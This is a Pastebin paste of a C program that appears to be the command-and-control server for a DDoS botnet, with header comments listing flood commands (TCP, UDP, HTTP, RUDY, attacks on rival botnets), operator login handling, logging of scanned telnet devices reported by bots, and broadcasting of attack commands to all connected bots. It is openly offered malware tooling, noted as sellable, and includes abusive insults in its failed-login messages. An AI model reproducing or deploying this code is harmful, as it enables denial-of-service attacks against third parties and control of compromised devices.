Advertisement
Guest User

vaporeon.c

a guest
Apr 15th, 2017
270
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 25.27 KB | None | 0 0
  1. // ____ ____
  2. // \ \ / /____ ______ ___________ ____ ____ ____
  3. // \ Y /\__ \ \____ \ / _ \_ __ \_/ __ \/ _ \ / \
  4. // \ / / __ \| |_> > <_> ) | \/\ ___( <_> ) | \
  5. // \___/ (____ / __/ \____/|__| \___ >____/|___| /
  6. // \/|__| \/ \/
  7.  
  8. // [ DDoS Commands ]
  9. // !* TCP host port time 32 100-9000 10 'Sends a tcp based flood to specified target, methods include ALL,SYN,ACK,FIN,RST, and PSH.
  10. // !* UDP host port time 32 100-9000 10 'Sends a udp based flood to specified target, with a fixed packet size and interval.
  11. // !* STD host port time 'Sends a tcp based flood to specified target, with persistant tcp socket for buffer spam.
  12. // !* HTTP $host time 'Sends a http get flood to specified target, using an array of browser useragents.
  13. // !* R-U-DED $host port time 'Sends a are you dead yet attack which is meant for game servers, it floods the ram with nonsense causing it to crash.
  14. // !* CNC $host $port time 'Sends all of your bots to the user port of someones net and crashes it, you must know there operator port or else it wont work.
  15.  
  16. // [ Misc Command ]
  17. // HELP 'Shows list of commands
  18. // LOGOUT 'Logout of your account
  19. // CLEAR 'Clears the screen
  20. // KILL 'Kills All of the outgoing attacks
  21. // BOTKILL 'Basically destroys all the bots & disconnects them from the botnet
  22. // COUNT 'displays how many bots & users are connected
  23.  
  24. //MADE DATE 9/9/16
  25.  
  26. //special thanks to HDG Zero for the helpline
  27.  
  28. //Skype narcotix.
  29.  
  30. #include <stdio.h>
  31. #include <stdlib.h>
  32. #include <stdint.h>
  33. #include <inttypes.h>
  34. #include <string.h>
  35. #include <sys/types.h>
  36. #include <sys/socket.h>
  37. #include <netdb.h>
  38. #include <unistd.h>
  39. #include <time.h>
  40. #include <fcntl.h>
  41. #include <sys/epoll.h>
  42. #include <errno.h>
  43. #include <pthread.h>
  44. #include <signal.h>
  45. #include <arpa/inet.h>
  46. #define MAXFDS 1000000
  47.  
  48. struct login_info {
  49. char username[100];
  50. char password[100];
  51. };
  52. static struct login_info accounts[100]; //Edit if selling spots
  53. struct clientdata_t {
  54. uint32_t ip;
  55. char connected;
  56. } clients[MAXFDS];
  57. struct telnetdata_t {
  58. int connected;
  59. } managements[MAXFDS];
  60. struct args {
  61. int sock;
  62. struct sockaddr_in cli_addr;
  63. };
  64. static volatile FILE *telFD;
  65. static volatile FILE *fileFD;
  66. static volatile int epollFD = 0;
  67. static volatile int listenFD = 0;
  68. static volatile int OperatorsConnected = 0;
  69. static volatile int TELFound = 0;
  70. static volatile int scannerreport;
  71.  
  72. int fdgets(unsigned char *buffer, int bufferSize, int fd) {
  73. int total = 0, got = 1;
  74. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  75. return got;
  76. }
  77. void trim(char *str) {
  78. int i;
  79. int begin = 0;
  80. int end = strlen(str) - 1;
  81. while (isspace(str[begin])) begin++;
  82. while ((end >= begin) && isspace(str[end])) end--;
  83. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  84. str[i - begin] = '\0';
  85. }
  86. static int make_socket_non_blocking (int sfd) {
  87. int flags, s;
  88. flags = fcntl (sfd, F_GETFL, 0);
  89. if (flags == -1) {
  90. perror ("fcntl");
  91. return -1;
  92. }
  93. flags |= O_NONBLOCK;
  94. s = fcntl (sfd, F_SETFL, flags);
  95. if (s == -1) {
  96. perror ("fcntl");
  97. return -1;
  98. }
  99. return 0;
  100. }
  101. static int create_and_bind (char *port) {
  102. struct addrinfo hints;
  103. struct addrinfo *result, *rp;
  104. int s, sfd;
  105. memset (&hints, 0, sizeof (struct addrinfo));
  106. hints.ai_family = AF_UNSPEC;
  107. hints.ai_socktype = SOCK_STREAM;
  108. hints.ai_flags = AI_PASSIVE;
  109. s = getaddrinfo (NULL, port, &hints, &result);
  110. if (s != 0) {
  111. fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  112. return -1;
  113. }
  114. for (rp = result; rp != NULL; rp = rp->ai_next) {
  115. sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  116. if (sfd == -1) continue;
  117. int yes = 1;
  118. if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  119. s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  120. if (s == 0) {
  121. break;
  122. }
  123. close (sfd);
  124. }
  125. if (rp == NULL) {
  126. fprintf (stderr, "Could not bind\n");
  127. return -1;
  128. }
  129. freeaddrinfo (result);
  130. return sfd;
  131. }
  132. void broadcast(char *msg, int us, char *sender)
  133. {
  134. int sendMGM = 1;
  135. if(strcmp(msg, "PING") == 0) sendMGM = 0;
  136. char *wot = malloc(strlen(msg) + 10);
  137. memset(wot, 0, strlen(msg) + 10);
  138. strcpy(wot, msg);
  139. trim(wot);
  140. time_t rawtime;
  141. struct tm * timeinfo;
  142. time(&rawtime);
  143. timeinfo = localtime(&rawtime);
  144. char *timestamp = asctime(timeinfo);
  145. trim(timestamp);
  146. int i;
  147. for(i = 0; i < MAXFDS; i++)
  148. {
  149. if(i == us || (!clients[i].connected && (sendMGM == 0 || !managements[i].connected))) continue;
  150. if(sendMGM && managements[i].connected)
  151. {
  152. send(i, "\x1b[31m", 5, MSG_NOSIGNAL);
  153. send(i, sender, strlen(sender), MSG_NOSIGNAL);
  154. send(i, ": ", 2, MSG_NOSIGNAL);
  155. }
  156. printf("sent to fd: %d\n", i);
  157. send(i, msg, strlen(msg), MSG_NOSIGNAL);
  158. if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[0;37m> \x1b[0m", 13, MSG_NOSIGNAL);
  159. else send(i, "\n", 1, MSG_NOSIGNAL);
  160. }
  161. free(wot);
  162. }
  163. void *BotEventLoop(void *useless) {
  164. struct epoll_event event;
  165. struct epoll_event *events;
  166. int s;
  167. events = calloc (MAXFDS, sizeof event);
  168. while (1) {
  169. int n, i;
  170. n = epoll_wait (epollFD, events, MAXFDS, -1);
  171. for (i = 0; i < n; i++) {
  172. if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN))) {
  173. clients[events[i].data.fd].connected = 0;
  174. close(events[i].data.fd);
  175. continue;
  176. }
  177. else if (listenFD == events[i].data.fd) {
  178. while (1) {
  179. struct sockaddr in_addr;
  180. socklen_t in_len;
  181. int infd, ipIndex;
  182.  
  183. in_len = sizeof in_addr;
  184. infd = accept (listenFD, &in_addr, &in_len);
  185. if (infd == -1) {
  186. if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  187. else {
  188. perror ("accept");
  189. break;
  190. }
  191. }
  192.  
  193. clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  194. int dup = 0;
  195. for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++) {
  196. if(!clients[ipIndex].connected || ipIndex == infd) continue;
  197. if(clients[ipIndex].ip == clients[infd].ip) {
  198. dup = 1;
  199. break;
  200. }}
  201. if(dup) {
  202. if(send(infd, "!* BOTKILL\n", 13, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  203. close(infd);
  204. continue;
  205. }
  206. s = make_socket_non_blocking (infd);
  207. if (s == -1) { close(infd); break; }
  208. event.data.fd = infd;
  209. event.events = EPOLLIN | EPOLLET;
  210. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  211. if (s == -1) {
  212. perror ("epoll_ctl");
  213. close(infd);
  214. break;
  215. }
  216. clients[infd].connected = 1;
  217. }
  218. continue;
  219. }
  220. else {
  221. int datafd = events[i].data.fd;
  222. struct clientdata_t *client = &(clients[datafd]);
  223. int done = 0;
  224. client->connected = 1;
  225. while (1) {
  226. ssize_t count;
  227. char buf[2048];
  228. memset(buf, 0, sizeof buf);
  229. while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, datafd)) > 0) {
  230. if(strstr(buf, "\n") == NULL) { done = 1; break; }
  231. trim(buf);
  232. if(strcmp(buf, "PING") == 0) {
  233. if(send(datafd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; }
  234. continue;
  235. }
  236. if(strstr(buf, "REPORT ") == buf) {
  237. char *line = strstr(buf, "REPORT ") + 7;
  238. fprintf(telFD, "%s\n", line);
  239. fflush(telFD);
  240. TELFound++;
  241. continue;
  242. }
  243. if(strstr(buf, "PROBING") == buf) {
  244. char *line = strstr(buf, "PROBING");
  245. scannerreport = 1;
  246. continue;
  247. }
  248. if(strstr(buf, "REMOVING PROBE") == buf) {
  249. char *line = strstr(buf, "REMOVING PROBE");
  250. scannerreport = 0;
  251. continue;
  252. }
  253. if(strcmp(buf, "PONG") == 0) {
  254. continue;
  255. }
  256. printf("buf: \"%s\"\n", buf);
  257. }
  258. if (count == -1) {
  259. if (errno != EAGAIN) {
  260. done = 1;
  261. }
  262. break;
  263. }
  264. else if (count == 0) {
  265. done = 1;
  266. break;
  267. }
  268. if (done) {
  269. client->connected = 0;
  270. close(datafd);
  271. }}}}}}
  272. unsigned int BotsConnected() {
  273. int i = 0, total = 0;
  274. for(i = 0; i < MAXFDS; i++) {
  275. if(!clients[i].connected) continue;
  276. total++;
  277. }
  278. return total;
  279. }
  280. void *TitleWriter(void *sock) {
  281. int datafd = (int)sock;
  282. char string[2048];
  283. while(1) {
  284. memset(string, 0, 2048);
  285. sprintf(string, "%c]0; Bots: %d | Telnet Devices: %d | Users: %d%c", '\033', BotsConnected(), TELFound, OperatorsConnected, '\007');
  286. if(send(datafd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
  287. sleep(2);
  288. }}
  289. int Find_Login(char *str) {
  290. FILE *fp;
  291. int line_num = 0;
  292. int find_result = 0, find_line=0;
  293. char temp[512];
  294.  
  295. if((fp = fopen("login.txt", "r")) == NULL){
  296. return(-1);
  297. }
  298. while(fgets(temp, 512, fp) != NULL){
  299. if((strstr(temp, str)) != NULL){
  300. find_result++;
  301. find_line = line_num;
  302. }
  303. line_num++;
  304. }
  305. if(fp)
  306. fclose(fp);
  307. if(find_result == 0)return 0;
  308. return find_line;
  309. }
  310. void *BotWorker(void *sock) {
  311. int datafd = (int)sock;
  312. int find_line;
  313. OperatorsConnected++;
  314. pthread_t title;
  315. char buf[2048];
  316. char* username;
  317. char* password;
  318. memset(buf, 0, sizeof buf);
  319. char botnet[2048];
  320. memset(botnet, 0, 2048);
  321. char botcount [2048];
  322. memset(botcount, 0, 2048);
  323. char statuscount [2048];
  324. memset(statuscount, 0, 2048);
  325.  
  326. FILE *fp;
  327. int i=0;
  328. int c;
  329. fp=fopen("login.txt", "r");
  330. while(!feof(fp)) {
  331. c=fgetc(fp);
  332. ++i;
  333. }
  334. int j=0;
  335. rewind(fp);
  336. while(j!=i-1) {
  337. fscanf(fp, "%s %s", accounts[j].username, accounts[j].password);
  338. ++j;
  339. }
  340.  
  341. if(send(datafd, "\x1b[30mUSERNAME:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  342. if(fdgets(buf, sizeof buf, datafd) < 1) goto end;
  343. trim(buf);
  344. char* nickstring;
  345. sprintf(accounts[find_line].username, buf);
  346. nickstring = ("%s", buf);
  347. find_line = Find_Login(nickstring);
  348. if(strcmp(nickstring, accounts[find_line].username) == 0){
  349. if(send(datafd, "\x1b[30mPASSWORD:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  350. if(fdgets(buf, sizeof buf, datafd) < 1) goto end;
  351.  
  352. char clearscreen [2048];
  353. memset(clearscreen, 0, 2048);
  354. sprintf(clearscreen, "\033[1A");
  355. if(send(datafd, clearscreen, strlen(clearscreen), MSG_NOSIGNAL) == -1) goto end;
  356.  
  357. trim(buf);
  358. if(strcmp(buf, accounts[find_line].password) != 0) goto failed;
  359. memset(buf, 0, 2048);
  360. goto Banner;
  361. }
  362. failed:
  363. if(send(datafd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  364. char failed_line1[100];
  365. char failed_line2[100];
  366. char failed_line3[100];
  367. char failed_line4[100];
  368. char failed_line5[100];
  369. char failed_line6[100];
  370. char failed_line7[100];
  371. char failed_line8[100];
  372. char failed_line9[100];
  373. char failed_line10[100];
  374. char failed_line11[100];
  375. char failed_line12[100];
  376.  
  377. sprintf(failed_line1, "\x1b[0;37m WOW DUDE DO YOU EVEN BELONG HERE \r\n");
  378. sprintf(failed_line2, "\x1b[0;37m WRONG ANSWER YOU DUMB FUCK KYS!!! \r\n");
  379. sprintf(failed_line3, "\x1b[0;37m NOW GO BEFORE BIG BOATS COME ND \r\n");
  380. sprintf(failed_line4, "\x1b[0;37m SLAM YOUR ASS OFFLINE \r\n");
  381. sprintf(failed_line5, "\x1b[0;37mONE ...\r\n");
  382. sprintf(failed_line6,"\x1b[0;37mTWO ...\r\n");
  383. sprintf(failed_line7,"\x1b[0;37mTHREE ...\r\n");
  384. sprintf(failed_line8,"\x1b[0;37mHAH GET NULLED BITCH\r\n");
  385. if(send(datafd, failed_line1, strlen(failed_line1), MSG_NOSIGNAL) == -1) goto end;
  386. if(send(datafd, failed_line2, strlen(failed_line2), MSG_NOSIGNAL) == -1) goto end;
  387. if(send(datafd, failed_line3, strlen(failed_line3), MSG_NOSIGNAL) == -1) goto end;
  388. if(send(datafd, failed_line4, strlen(failed_line4), MSG_NOSIGNAL) == -1) goto end;
  389. if(send(datafd, failed_line5, strlen(failed_line5), MSG_NOSIGNAL) == -1) goto end;
  390. if(send(datafd, failed_line6, strlen(failed_line6), MSG_NOSIGNAL) == -1) goto end;
  391. if(send(datafd, failed_line7, strlen(failed_line7), MSG_NOSIGNAL) == -1) goto end;
  392. if(send(datafd, failed_line8, strlen(failed_line8), MSG_NOSIGNAL) == -1) goto end;
  393. sleep(2);
  394. if(send(datafd, failed_line5, strlen(failed_line9), MSG_NOSIGNAL) == -1) goto end;
  395. sleep(3);
  396. if(send(datafd, failed_line6, strlen(failed_line10), MSG_NOSIGNAL) == -1) goto end;
  397. sleep(3);
  398. if(send(datafd, failed_line7, strlen(failed_line11), MSG_NOSIGNAL) == -1) goto end;
  399. sleep(3);
  400. if(send(datafd, failed_line8, strlen(failed_line12), MSG_NOSIGNAL) == -1) goto end;
  401. sleep(3);
  402. goto end;
  403.  
  404. Banner:
  405. pthread_create(&title, NULL, &TitleWriter, sock);
  406. char ascii_banner_line1 [5000];
  407. char ascii_banner_line2 [5000];
  408. char ascii_banner_line3 [5000];
  409. char ascii_banner_line4 [5000];
  410. char ascii_banner_line5 [5000];
  411. char ascii_banner_line6 [5000];
  412. char ascii_banner_line7 [5000];
  413. char ascii_banner_line8 [5000];
  414. char ascii_banner_line9 [5000];
  415. char ascii_banner_line10 [5000];
  416. char welcome_line [5000];
  417.  
  418. sprintf(ascii_banner_line1, "\x1b[0;34m ██▒ █▓ ▄▄▄ ██▓███ ▒█████ ██▀███ ▓█████ ▒█████ ███▄ █ \r\n");
  419. sprintf(ascii_banner_line2, "\x1b[0;34m ▓██░ █▒▒████▄ ▓██░ ██▒▒██▒ ██▒▓██ ▒ ██▒▓█ ▀ ▒██▒ ██▒ ██ ▀█ █ \r\n");
  420. sprintf(ascii_banner_line3, "\x1b[0;34m ▓██ █▒░▒██ ▀█▄ ▓██░ ██▓▒▒██░ ██▒▓██ ░▄█ ▒▒███ ▒██░ ██▒▓██ ▀█ ██▒ \r\n");
  421. sprintf(ascii_banner_line3, "\x1b[0;34m ▒██ █░░░██▄▄▄▄██ ▒██▄█▓▒ ▒▒██ ██░▒██▀▀█▄ ▒▓█ ▄ ▒██ ██░▓██▒ ▐▌██▒ \r\n");
  422. sprintf(ascii_banner_line4, "\x1b[0;34m ▒▀█░ ▓█ ▓██▒▒██▒ ░ ░░ ████▓▒░░██▓ ▒██▒░▒████▒░ ████▓▒░▒██░ ▓██░ \r\n");
  423. sprintf(ascii_banner_line5, "\x1b[0;34m ░ ▐░ ▒▒ ▓▒█░▒▓▒░ ░ ░░ ▒░▒░▒░ ░ ▒▓ ░▒▓░░░ ▒░ ░░ ▒░▒░▒░ ░ ▒░ ▒ ▒ \r\n");
  424. sprintf(ascii_banner_line6, "\x1b[0;34m ░ ░░ ▒ ▒▒ ░░▒ ░ ░ ▒ ▒░ ░▒ ░ ▒░ ░ ░ ░ ░ ▒ ▒░ ░ ░░ ░ ▒░ \r\n");
  425. sprintf(ascii_banner_line7, "\x1b[0;34m ░░ ░ ▒ ░░ ░ ░ ░ ▒ ░░ ░ ░ ░ ░ ░ ▒ ░ ░ ░ \r\n");
  426. sprintf(ascii_banner_line9, "\x1b[0;34m ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ \r\n");
  427. sprintf(ascii_banner_line10, "\x1b[0;34m ░ \r\n");
  428. sprintf(welcome_line, "\x1b[0;34m ~[\x1b[0;31m Welcome, \x1b[0;34m%s]~\r\n", accounts[find_line].username);
  429.  
  430. if(send(datafd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  431. if(send(datafd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  432. if(send(datafd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  433. if(send(datafd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  434. if(send(datafd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  435. if(send(datafd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  436. if(send(datafd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  437. if(send(datafd, ascii_banner_line8, strlen(ascii_banner_line8), MSG_NOSIGNAL) == -1) goto end;
  438. if(send(datafd, ascii_banner_line9, strlen(ascii_banner_line9), MSG_NOSIGNAL) == -1) goto end;
  439. if(send(datafd, ascii_banner_line10, strlen(ascii_banner_line10), MSG_NOSIGNAL) == -1) goto end;
  440. if(send(datafd, welcome_line, strlen(welcome_line), MSG_NOSIGNAL) == -1) goto end;
  441. while(1) {
  442. if(send(datafd, "\x1b[0;37m> \x1b[37m", 12, MSG_NOSIGNAL) == -1) goto end;
  443. break;
  444. }
  445. pthread_create(&title, NULL, &TitleWriter, sock);
  446. managements[datafd].connected = 1;
  447.  
  448. while(fdgets(buf, sizeof buf, datafd) > 0) {
  449. if(strstr(buf, "COUNT")) {
  450. char botcount [5000];
  451. memset(botcount, 0, 5000);
  452. sprintf(botcount, "\x1b[0;37mBots: %d | Users: %d\r\n", BotsConnected(), OperatorsConnected);
  453. if(send(datafd, botcount, strlen(botcount), MSG_NOSIGNAL) == -1) return;
  454. while(1) {
  455. if(send(datafd, "\x1b[0;37m> \x1b[37m", 12, MSG_NOSIGNAL) == -1) goto end;
  456. break;
  457. }
  458. continue;
  459. }
  460. if(strstr(buf, "HELP")) {
  461. pthread_create(&title, NULL, &TitleWriter, sock);
  462. char helpline1 [5000];
  463. char helpline2 [5000];
  464. char helpline3 [5000];
  465. char helpline4 [5000];
  466. char helpline5 [5000];
  467. char helpline6 [5000];
  468. char helpline7 [5000];
  469. char helpline8 [5000];
  470. char helpline9 [5000];
  471. char helpline10 [5000];
  472. char helpline11 [5000];
  473. char helpline12 [5000];
  474.  
  475. sprintf(helpline1, "\x1b[1;33m~ [ \x1b[;31mDDOS COMMANDS \x1b[1;33m] ~\r\n");
  476. sprintf(helpline2, "\x1b[1;33m ~ [ \x1b[0;31mTCP\x1b[1;33m ] ~ \x1b[0;34m!* TCP host port time 32 Method 100 10\r\n");
  477. sprintf(helpline3, "\x1b[1;33m ~ [ \x1b[0;31mUDP\x1b[1;33m ] ~ \x1b[0;34m!* UDP host port time 32 32 100 10\r\n");
  478. sprintf(helpline4, "\x1b[1;33m ~ [ \x1b[0;31mSTD\x1b[1;33m ] ~ \x1b[0;34m!* STD host port time 32\r\n");
  479. sprintf(helpline5, "\x1b[1;33m ~ [ \x1b[0;31mHTTP\x1b[1;33m ] ~ \x1b[0;34m!* HTTP METHOD URL PORT PATH TIME 200\r\n");
  480. sprintf(helpline6, "\x1b[1;33m ~ [ \x1b[0;31mRUDY\x1b[1;33m ] ~ \x1b[0;34m!* RUDY host port time\r\n");
  481. sprintf(helpline7, "\x1b[1;33m ~ [ \x1b[0;31mCNC\x1b[1;33m ] ~ \x1b[0;34m!* CNC host port time\r\n");
  482. sprintf(helpline8, "\x1b[1;33m~ [ \x1b[;31mMISC COMMANDS \x1b[1;33m] ~\r\n");
  483. sprintf(helpline9, "\x1b[1;33m ~ [ \x1b[0;31mKILL\x1b[1;33m ] ~ \x1b[0;34mKILL\r\n");
  484. sprintf(helpline10, "\x1b[1;33m ~ [ \x1b[0;31mLOGOUT\x1b[1;33m ] ~ \x1b[0;34mLOGOUT\r\n");
  485. sprintf(helpline11, "\x1b[1;33m ~ [ \x1b[0;31mCLEAR\x1b[1;33m ] ~ \x1b[0;34mCLEAR\r\n");
  486. sprintf(helpline12, "\x1b[1;33m ~ [ \x1b[0;31mCOUNT\x1b[1;33m ] ~ \x1b[0;34mCOUNT\r\n");
  487.  
  488.  
  489. if(send(datafd, helpline1, strlen(helpline1), MSG_NOSIGNAL) == -1) goto end;
  490. if(send(datafd, helpline2, strlen(helpline2), MSG_NOSIGNAL) == -1) goto end;
  491. if(send(datafd, helpline3, strlen(helpline3), MSG_NOSIGNAL) == -1) goto end;
  492. if(send(datafd, helpline4, strlen(helpline4), MSG_NOSIGNAL) == -1) goto end;
  493. if(send(datafd, helpline5, strlen(helpline5), MSG_NOSIGNAL) == -1) goto end;
  494. if(send(datafd, helpline6, strlen(helpline6), MSG_NOSIGNAL) == -1) goto end;
  495. if(send(datafd, helpline7, strlen(helpline7), MSG_NOSIGNAL) == -1) goto end;
  496. if(send(datafd, helpline8, strlen(helpline8), MSG_NOSIGNAL) == -1) goto end;
  497. if(send(datafd, helpline9, strlen(helpline9), MSG_NOSIGNAL) == -1) goto end;
  498. if(send(datafd, helpline10, strlen(helpline10), MSG_NOSIGNAL) == -1) goto end;
  499. if(send(datafd, helpline11, strlen(helpline10), MSG_NOSIGNAL) == -1) goto end;
  500. if(send(datafd, helpline12, strlen(helpline10), MSG_NOSIGNAL) == -1) goto end;
  501. pthread_create(&title, NULL, &TitleWriter, sock);
  502. while(1) {
  503. if(send(datafd, "\x1b[0;37m> \x1b[37m", 12, MSG_NOSIGNAL) == -1) goto end;
  504. break;
  505. }
  506. continue;
  507. }
  508. if(strstr(buf, "BOTKILL")) {
  509. char gtfomynet [2048];
  510. memset(gtfomynet, 0, 2048);
  511. sprintf(gtfomynet, "!* BOTKILL\r\n");
  512. broadcast(buf, datafd, gtfomynet);
  513. continue;
  514. }
  515. if(strstr(buf, "KILL"))
  516. {
  517. char killattack [2048];
  518. memset(killattack, 0, 2048);
  519. char killattack_msg [2048];
  520.  
  521. sprintf(killattack, "!* KILLATTK\r\n");
  522. broadcast(killattack, datafd, "KILL THAT SHIT");
  523. if(send(datafd, killattack, strlen(killattack), MSG_NOSIGNAL) == -1) goto end;
  524. continue;
  525. }
  526. if(strstr(buf, "CLEAR")) {
  527. char clearscreen [2048];
  528. memset(clearscreen, 0, 2048);
  529. sprintf(clearscreen, "\033[2J\033[1;1H");
  530. if(send(datafd, clearscreen, strlen(clearscreen), MSG_NOSIGNAL) == -1) goto end;
  531. if(send(datafd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  532. if(send(datafd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  533. if(send(datafd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  534. if(send(datafd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  535. if(send(datafd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  536. if(send(datafd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  537. if(send(datafd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  538. if(send(datafd, ascii_banner_line8, strlen(ascii_banner_line8), MSG_NOSIGNAL) == -1) goto end;
  539. if(send(datafd, ascii_banner_line9, strlen(ascii_banner_line9), MSG_NOSIGNAL) == -1) goto end;
  540. if(send(datafd, ascii_banner_line10, strlen(ascii_banner_line10), MSG_NOSIGNAL) == -1) goto end;
  541. if(send(datafd, welcome_line, strlen(welcome_line), MSG_NOSIGNAL) == -1) goto end;
  542. while(1) {
  543. if(send(datafd, "\x1b[0;37m> \x1b[37m", 12, MSG_NOSIGNAL) == -1) goto end;
  544. break;
  545. }
  546. continue;
  547. }
  548. if(strstr(buf, "LOGOUT")) {
  549. char logoutmessage [2048];
  550. memset(logoutmessage, 0, 2048);
  551. sprintf(logoutmessage, "Come Again, %s", accounts[find_line].username);
  552. if(send(datafd, logoutmessage, strlen(logoutmessage), MSG_NOSIGNAL) == -1)goto end;
  553. sleep(2);
  554. goto end;
  555. }
  556.  
  557. trim(buf);
  558. if(send(datafd, "\x1b[0;37m> \x1b[37m", 11, MSG_NOSIGNAL) == -1) goto end;
  559. if(strlen(buf) == 0) continue;
  560. printf("%s: \"%s\"\n",accounts[find_line].username, buf);
  561.  
  562. FILE *LogFile;
  563. LogFile = fopen("history.log", "a");
  564. time_t now;
  565. struct tm *gmt;
  566. char formatted_gmt [50];
  567. char lcltime[50];
  568. now = time(NULL);
  569. gmt = gmtime(&now);
  570. strftime ( formatted_gmt, sizeof(formatted_gmt), "%I:%M %p", gmt );
  571. fprintf(LogFile, "[%s] %s: %s\n", formatted_gmt, accounts[find_line].username, buf);
  572. fclose(LogFile);
  573. broadcast(buf, datafd, accounts[find_line].username);
  574. memset(buf, 0, 2048);
  575. }
  576.  
  577. end:
  578. managements[datafd].connected = 0;
  579. close(datafd);
  580. OperatorsConnected--;
  581. }
  582. void *BotListener(int port) {
  583. int sockfd, newsockfd;
  584. socklen_t clilen;
  585. struct sockaddr_in serv_addr, cli_addr;
  586. sockfd = socket(AF_INET, SOCK_STREAM, 0);
  587. if (sockfd < 0) perror("ERROR opening socket");
  588. bzero((char *) &serv_addr, sizeof(serv_addr));
  589. serv_addr.sin_family = AF_INET;
  590. serv_addr.sin_addr.s_addr = INADDR_ANY;
  591. serv_addr.sin_port = htons(port);
  592. if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) perror("ERROR on binding");
  593. listen(sockfd,5);
  594. clilen = sizeof(cli_addr);
  595. while(1) {
  596. newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  597. if (newsockfd < 0) perror("ERROR on accept");
  598. pthread_t thread;
  599. pthread_create( &thread, NULL, &BotWorker, (void *)newsockfd);
  600. }}
  601. int main (int argc, char *argv[], void *sock) {
  602. signal(SIGPIPE, SIG_IGN);
  603. int s, threads, port;
  604. struct epoll_event event;
  605. if (argc != 4) {
  606. fprintf (stderr, "Usage: %s [port] [threads] [cnc-port]\n", argv[0]);
  607. exit (EXIT_FAILURE);
  608. }
  609. port = atoi(argv[3]);
  610. telFD = fopen("telnet.txt", "a+");
  611. threads = atoi(argv[2]);
  612. listenFD = create_and_bind (argv[1]);
  613. if (listenFD == -1) abort ();
  614. s = make_socket_non_blocking (listenFD);
  615. if (s == -1) abort ();
  616. s = listen (listenFD, SOMAXCONN);
  617. if (s == -1) {
  618. perror ("listen");
  619. abort ();
  620. }
  621. epollFD = epoll_create1 (0);
  622. if (epollFD == -1) {
  623. perror ("epoll_create");
  624. abort ();
  625. }
  626. event.data.fd = listenFD;
  627. event.events = EPOLLIN | EPOLLET;
  628. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  629. if (s == -1) {
  630. perror ("epoll_ctl");
  631. abort ();
  632. }
  633. pthread_t thread[threads + 2];
  634. while(threads--) {
  635. pthread_create( &thread[threads + 1], NULL, &BotEventLoop, (void *) NULL);
  636. }
  637. pthread_create(&thread[0], NULL, &BotListener, port);
  638. while(1) {
  639. broadcast("PING", -1, "ZERO");
  640. sleep(60);
  641. }
  642. close (listenFD);
  643. return EXIT_SUCCESS;
  644. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement